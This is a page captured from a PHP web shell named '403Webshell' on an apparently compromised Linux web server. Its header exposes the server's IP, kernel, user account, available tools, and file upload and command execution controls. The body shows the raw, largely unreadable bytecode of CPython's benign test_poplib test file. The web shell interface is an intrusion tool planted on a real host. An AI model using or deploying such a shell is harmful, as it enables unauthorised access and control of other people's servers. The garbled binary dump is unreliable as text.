403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_poplib.cpython-36.pyc
3

�w2_B�@sxdZddlZddlZddlZddlZddlZddlZddlmZm	Z	ddl
mZej
d�ZejZdZdZeed�r�ddlZdZejjejje�p�ejd	�Zejjejje�p�ejd
�Ze	ed�ZdZd
ZGdd�dej�ZGdd�dej ej!�Z"Gdd�de�Z#e�r$ddl$m%Z%Gdd�de%e�Z&eGdd�de#��Z'eGdd�de#��Z(Gdd�de�Z)dd�Z*e+dk�rte*�dS) zTest script for poplib module.�N)�TestCase�
skipUnless)�support�	threadingF�POP3_SSLTzkeycert3.pemzpycacert.pemzSSL not supporteds1 1
2 2
3 3
4 4
5 5
.
stFrom: postmaster@python.org
Content-Type: text/plain
MIME-Version: 1.0
Subject: Dummy

line1
line2
line3
.
c@s�eZdZgdgd�ZdZdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZeZdd�ZeZdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zer�d*d+�Zd,d-�Zd.d/�Zd0S)1�DummyPOP3Handlerzpython-testlib-pop-server)ZUIDL�IMPLEMENTATIONFcCs8tjj||�|jd�g|_|jd�d|_d|_dS)Ns
z(+OK dummy pop3 server ready. <timestamp>F)�asynchat�
async_chat�__init__�set_terminator�	in_buffer�push�
tls_active�tls_starting)�self�conn�r�5/opt/alt/python36/lib64/python3.6/test/test_poplib.pyr0s

zDummyPOP3Handler.__init__cCs|jj|�dS)N)r
�append)r�datarrr�collect_incoming_data8sz&DummyPOP3Handler.collect_incoming_datacCs�dj|j�}t|d�}g|_|jd�dj�}|jd�}|d	krR||dd�}nd}t|d|�r|t|d|�}||�n|jd|�dS)
N�z
ISO-8859-1� r��Zcmd_z$-ERR unrecognized POP3 command "%s".���)	�joinr
�str�split�lower�find�hasattr�getattrr)r�line�cmdZspace�arg�methodrrr�found_terminator;s


z!DummyPOP3Handler.found_terminatorcCs�dS)Nr)rrrr�handle_errorKszDummyPOP3Handler.handle_errorcCstjj||jd�d�dS)Nz
ISO-8859-1s
)r	r
r�encode)rrrrrrNszDummyPOP3Handler.pushcCs|j|�dS)N)r)rr&rrr�cmd_echoQszDummyPOP3Handler.cmd_echocCs |dkr|jd�|jd�dS)N�guidoz-ERR no such userz+OK password required)r)rr&rrr�cmd_userUs
zDummyPOP3Handler.cmd_usercCs |dkr|jd�|jd�dS)N�pythonz-ERR wrong passwordz+OK 10 messages)r)rr&rrr�cmd_passZs
zDummyPOP3Handler.cmd_passcCs|jd�dS)Nz
+OK 10 100)r)rr&rrr�cmd_stat_szDummyPOP3Handler.cmd_statcCs4|r|jd||f�n|jd�tjj|t�dS)Nz	+OK %s %sz+OK)rr	r
�	LIST_RESP)rr&rrr�cmd_listbs
zDummyPOP3Handler.cmd_listcCs$|jdtt��tjj|t�dS)Nz+OK %s bytes)r�len�	RETR_RESPr	r
)rr&rrr�cmd_retrkszDummyPOP3Handler.cmd_retrcCs|jd�dS)Nz +OK message marked for deletion.)r)rr&rrr�cmd_deleqszDummyPOP3Handler.cmd_delecCs|jd�dS)Nz+OK done nothing.)r)rr&rrr�cmd_nooptszDummyPOP3Handler.cmd_noopcCs|jd�dS)Nz+OK done nothing.)r)rr&rrr�cmd_rpopwszDummyPOP3Handler.cmd_rpopcCs|jd�dS)Nz+OK done nothing.)r)rr&rrr�cmd_apopzszDummyPOP3Handler.cmd_apopcCs|jd�|j�dS)Nz+OK closing.)rZclose_when_done)rr&rrr�cmd_quit}s
zDummyPOP3Handler.cmd_quitcCs"t|j�}|jrtrg|d<|S)N�STLS)�dict�CAPASr�SUPPORTS_SSL)rZ_capasrrr�
_get_capas�s
zDummyPOP3Handler._get_capascCs^|jd�|j�rPx<|j�j�D],\}}|g}|r<|j|�|jdj|��q W|jd�dS)Nz+OK Capability list followsr�.)rr?�items�extendr)rr&ZcapZparamsZ_lnrrr�cmd_capa�s

zDummyPOP3Handler.cmd_capacCs|j|jrdnd�dS)Nz+OK I know RFC6856z-ERR What is UTF8?!)r�enable_UTF8)rr&rrr�cmd_utf8�s
zDummyPOP3Handler.cmd_utf8cCsv|jdkrh|jd�tj�}|jt�|j|jdddd�}|j�|j	|�d|_d|_
g|_|j�n
|jd�dS)NFz+OK Begin TLS negotiationT)Zserver_sideZdo_handshake_on_connectZsuppress_ragged_eofsz*-ERR Command not permitted when TLS active)
rr�ssl�
SSLContextZload_cert_chain�CERTFILEZwrap_socket�socketZdel_channelZ
set_socketrr
�_do_tls_handshake)rr&�contextZtls_sockrrr�cmd_stls�s




zDummyPOP3Handler.cmd_stlscCs�y|jj�Wn�tjk
rf}z:|jdtjtjfkr<dS|jdtjkrT|j�S�WYdd}~XnFt	k
r�}z|jdt
jkr�|j�SWYdd}~XnXd|_d|_
dS)NrTF)rIZdo_handshakerFZSSLError�argsZSSL_ERROR_WANT_READZSSL_ERROR_WANT_WRITEZ
SSL_ERROR_EOF�handle_close�OSError�errnoZECONNABORTEDrr)r�errrrrrJ�s
z"DummyPOP3Handler._do_tls_handshakecCsD|jr|j�n0ytjj|�Wntjk
r>|j�YnXdS)N)rrJr	r
�handle_readrFZSSLEOFErrorrN)rrrrrR�s
zDummyPOP3Handler.handle_readN)�__name__�
__module__�__qualname__r=rDrrr(r)rr+r-r/r0r2Zcmd_uidlr5Zcmd_topr6r7r8r9r:r?rCrEr>rLrJrRrrrrr+s6
rc@sZeZdZeZejfdd�Zdd�Zdd�Z	dd�Z
d	d
�Zdd�ZeZ
d
d�Zdd�ZdS)�DummyPOP3ServercCsntjj|�tjj|�|j|tj�|j|�|j	d�d|_
tj�|_|jj
�dd�\|_|_d|_dS)N�F�)r�Threadr�asyncore�
dispatcherZ
create_socketrI�SOCK_STREAMZbind�listen�activeZLock�active_lockZgetsockname�host�port�handler_instance)rZaddressZafrrrr�s


zDummyPOP3Server.__init__cCs0|jst�tj�|_tjj|�|jj�dS)N)r^�AssertionErrorr�Event�_DummyPOP3Server__flagrY�start�wait)rrrrrf�s
zDummyPOP3Server.startcCsZd|_|jj�z6x0|jrBtjrB|j�tjddd�WdQRXqWWdtjdd�XdS)NTg�������?r)�timeout�count)Z
ignore_all)r^re�setrZZ
socket_mapr_ZloopZ	close_all)rrrr�run�s
 zDummyPOP3Server.runcCs|js
t�d|_|j�dS)NF)r^rcr)rrrr�stop�s
zDummyPOP3Server.stopcCs|j|�|_dS)N)�handlerrb)rr�addrrrr�handle_accepted�szDummyPOP3Server.handle_acceptedcCs|j�dS)N)�close)rrrr�handle_connect�szDummyPOP3Server.handle_connectcCsdS)Nrr)rrrr�writable�szDummyPOP3Server.writablecCs�dS)Nr)rrrrr)�szDummyPOP3Server.handle_errorN)rSrTrUrrmrI�AF_INETrrfrkrlrorqrRrrr)rrrrrV�s
rVc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zed-d.��Zed/d0��Zed1d2��Zd3S)4�
TestPOP3ClasscCs|j|jd��dS)Ns+OK)�
assertTrue�
startswith)r�resprrr�assertOK�szTestPOP3Class.assertOKcCs6tttf�|_|jj�tj|jj|jjdd�|_	dS)N�)rh)
rV�HOST�PORT�serverrf�poplib�POP3r`ra�client)rrrr�setUp�s
zTestPOP3Class.setUpcCs|jj�|jj�d|_dS)N)rrpr|rl)rrrr�tearDown�s

zTestPOP3Class.tearDowncCs|j|jj�d�dS)Ns(+OK dummy pop3 server ready. <timestamp>)�assertEqualrZ
getwelcome)rrrr�test_getwelcomeszTestPOP3Class.test_getwelcomecCs|jtj|jjd�dS)Nz	echo -err)�assertRaisesr}�error_protor�	_shortcmd)rrrr�test_exceptions	szTestPOP3Class.test_exceptionscCs*|j|jjd��|jtj|jjd�dS)Nr,�invalid)rxr�userr�r}r�)rrrr�	test_userszTestPOP3Class.test_usercCs*|j|jjd��|jtj|jjd�dS)Nr.r�)rxrZpass_r�r}r�r�)rrrr�
test_pass_szTestPOP3Class.test_pass_cCs|j|jj�d�dS)N�
�d)r�r�)r�r�stat)rrrr�	test_statszTestPOP3Class.test_statcCsD|j|jj�dd�dddddgdf�|j|jjd�jd	��dS)
Nrs1 1s2 2s3 3s4 4s5 5��1sOK 1 1)r�r�listru�endswith)rrrr�	test_listszTestPOP3Class.test_listc	Cs6ddddddddd	gd
f}|jjd�}|j||�dS)Ns
+OK 116 bytessFrom: postmaster@python.orgsContent-Type: text/plainsMIME-Version: 1.0sSubject: Dummyrsline1sline2sline3�q�foo)rZretrr�)r�expectedr�rrr�	test_retrs
zTestPOP3Class.test_retrcCs&|jtj|jjdtjdd�dS)Nzecho +%sr��a)r�r}r�rr�Z_MAXLINE)rrrr�test_too_long_lines&sz!TestPOP3Class.test_too_long_linescCs|j|jjd��dS)Nr�)rxrZdele)rrrr�	test_dele*szTestPOP3Class.test_delecCs|j|jj��dS)N)rxr�noop)rrrr�	test_noop-szTestPOP3Class.test_noopcCs|j|jjd��dS)Nr�)rxrZrpop)rrrr�	test_rpop0szTestPOP3Class.test_rpopcCs|j|jjdd��dS)Nr�Z
dummypassword)rxr�apop)rrrr�test_apop_normal3szTestPOP3Class.test_apop_normalcCsBddd}tj|jd|��|jtj|jjdd�WdQRXdS)Ns+OK�<i@BZwelcomer�Zkb)�test_supportZ	swap_attrrr�r}r�r�)rZevil_welcomerrr�test_apop_REDOS6szTestPOP3Class.test_apop_REDOSc	Cs4ddddddddd	gd
f}|j|jjdd�|�dS)Ns
+OK 116 bytessFrom: postmaster@python.orgsContent-Type: text/plainsMIME-Version: 1.0sSubject: Dummyrsline1sline2sline3r�r)r�r�top)rr�rrr�test_top@szTestPOP3Class.test_topcCs|jj�|jjd�dS)Nr�)rZuidl)rrrr�	test_uidlHs
zTestPOP3Class.test_uidlcCs d|jj_|jtj|jj�dS)NF)r|rmrDr�r}r�r�utf8)rrrr�test_utf8_raises_if_unsupportedLs
z-TestPOP3Class.test_utf8_raises_if_unsupportedcCs(d|jj_d}|jj�}|j||�dS)NTs+OK I know RFC6856)r|rmrDrr�r�)rr��resultrrr�	test_utf8Ps

zTestPOP3Class.test_utf8cCs |jj�}|jd|j�k�dS)Nr)r�caparu�keys)rr�rrr�	test_capaVs
zTestPOP3Class.test_capacCs4|jj�}|j|�|j|jj�|j|jj�dS)N)r�quitru�assertIsNone�sock�file)rrwrrr�	test_quitZs

zTestPOP3Class.test_quitcCs |jj�}|jd|j�k�dS)Nr;)rr�rur�)rr�rrr�test_stls_capa`s
zTestPOP3Class.test_stls_capacCsd}|jj�}|j||�dS)Ns+OK Begin TLS negotiation)r�stlsr�)rr�rwrrr�	test_stlses
zTestPOP3Class.test_stlscCs�d}tjtj�}|jt�tj|_d|_|jtj	��|j
j|d�}WdQRXtj
d|jjdd�|_
|j
j|d�}|j||�dS)Ns+OK Begin TLS negotiationT)rKZ	localhostry)rh)rFrG�PROTOCOL_TLSZload_verify_locations�CAFILEZ
CERT_REQUIREDZverify_modeZcheck_hostnamer�ZCertificateErrorrr�r}r~r|rar�)rr��ctxrwrrr�test_stls_contextks
zTestPOP3Class.test_stls_contextN)rSrTrUrxr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��requires_sslr�r�r�rrrrrt�s2	
rt)�
SSLConnectionc@seZdZdd�ZdS)�DummyPOP3_SSLHandlercCs@tjj||�|j�|jd�g|_|jd�d|_d|_dS)Ns
z(+OK dummy pop3 server ready. <timestamp>TF)	r	r
rZsecure_connectionrr
rrr)rrrrrr~s

zDummyPOP3_SSLHandler.__init__N)rSrTrUrrrrrr�|sr�c@s8eZdZdd�Zdd�Zdd�Zdd�ZeZd	d
�ZdS)�TestPOP3_SSLClasscCs:tttf�|_t|j_|jj�tj|jj	|jj
�|_dS)N)rVrzr{r|r�rmrfr}rr`rar)rrrrr��s
zTestPOP3_SSLClass.setUpcCs|jdtj�dS)Nr)ZassertInr}�__all__)rrrr�test__all__�szTestPOP3_SSLClass.test__all__c	Cs�tjtj�}|jttj|jj|jj	t
|d�|jttj|jj|jj	t
|d�|jttj|jj|jj	t
t
|d�|jj�tj|jj|jj	|d�|_|j
|jjtj�|j|jjj|�|j|jj�jd��dS)N)�keyfilerK)�certfilerK)r�r�rK)rKs+OK)rFrGr�r��
ValueErrorr}rr|r`rarHrr�ZassertIsInstancer�Z	SSLSocketZassertIsrKrur�rv)rr�rrr�test_context�s


zTestPOP3_SSLClass.test_contextcCs|jtj|jj�dS)N)r�r}r�rr�)rrrrr��szTestPOP3_SSLClass.test_stlscCs |jj�}|jd|j�k�dS)Nr;)rr��assertFalser�)rr�rrrr��s
z TestPOP3_SSLClass.test_stls_capaN)	rSrTrUr�r�r�r�r�r�rrrrr��sr�c@s0eZdZdd�Zdd�Zdd�ZeZdd�Zd	S)
�TestPOP3_TLSClasscCs@tttf�|_|jj�tj|jj|jjdd�|_	|j	j
�dS)Nry)rh)rVrzr{r|rfr}r~r`rarr�)rrrrr��s
zTestPOP3_TLSClass.setUpcCs\|jjdk	rH|jjdk	rHy|jj�Wn tjk
rF|jj�YnX|jj�d|_dS)N)	rr�r�r�r}r�rpr|rl)rrrrr��s
zTestPOP3_TLSClass.tearDowncCs|jtj|jj�dS)N)r�r}r�rr�)rrrrr��szTestPOP3_TLSClass.test_stlscCs |jj�}|jd|j�k�dS)NsSTLS)rr�r�r�)rr�rrrr��s
z TestPOP3_TLSClass.test_stls_capaN)rSrTrUr�r�r�r�r�rrrrr��s

r�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestTimeoutscCsttj�|_tjtjtj�|_|jjd�tj	|j�|_
tj|j|j|jfd�|_
|j
jd�|j
j�|jj�dS)N�<)�targetrMT)rrd�evtrIrsr\r�Z
settimeoutr�Z	bind_portrarYr|�threadZ	setDaemonrfrg)rrrrr��s

zTestTimeouts.setUpcCs|jj�d|_dS)N)r�r)rrrrr��s
zTestTimeouts.tearDowncCs^|j�|j�z>y"|j�\}}|jd�|j�Wntjk
rJYnXWd|j�XdS)Ns
+ Hola mundo
)r]rjZaccept�sendrprIrh)rr�Zservrrnrrrr|�s

zTestTimeouts.servercCsV|jtj��tjd�ztjt|j�}Wdtjd�X|j|j	j
�d�|j�dS)N�)r�rI�getdefaulttimeout�setdefaulttimeoutr}r~rzrar�r��
gettimeoutrp)r�poprrr�testTimeoutDefault�s
zTestTimeouts.testTimeoutDefaultcCsX|jtj��tjd�ztjt|jdd�}Wdtjd�X|j|jj	��|j
�dS)Nr�)rh)r�rIr�r�r}r~rzrar�r�rp)rr�rrr�testTimeoutNone�s
zTestTimeouts.testTimeoutNonecCs0tjt|jdd�}|j|jj�d�|j�dS)Nr�)rh)r}r~rzrar�r�r�rp)rr�rrr�testTimeoutValueszTestTimeouts.testTimeoutValueN)	rSrTrUr�r�r|r�r�r�rrrrr��s


r�cCs4ttttg}tj�}ztj|�Wdtj|�XdS)N)rtr�r�r�r�Zthreading_setupZrun_unittestZthreading_cleanup)Ztests�thread_inforrr�	test_mainsr��__main__),�__doc__r}rZr	rI�osrPZunittestrrZtestrr��
import_modulerrzr{r>r"rF�pathr�dirname�__file__�curdirrHr�r�r1r4r
rr[rYrVrtZtest.test_ftplibr�r�r�r�r�r�rSrrrr�<module>sH


	2' 7



Youez - 2016 - github.com/yon3zu
LinuXploit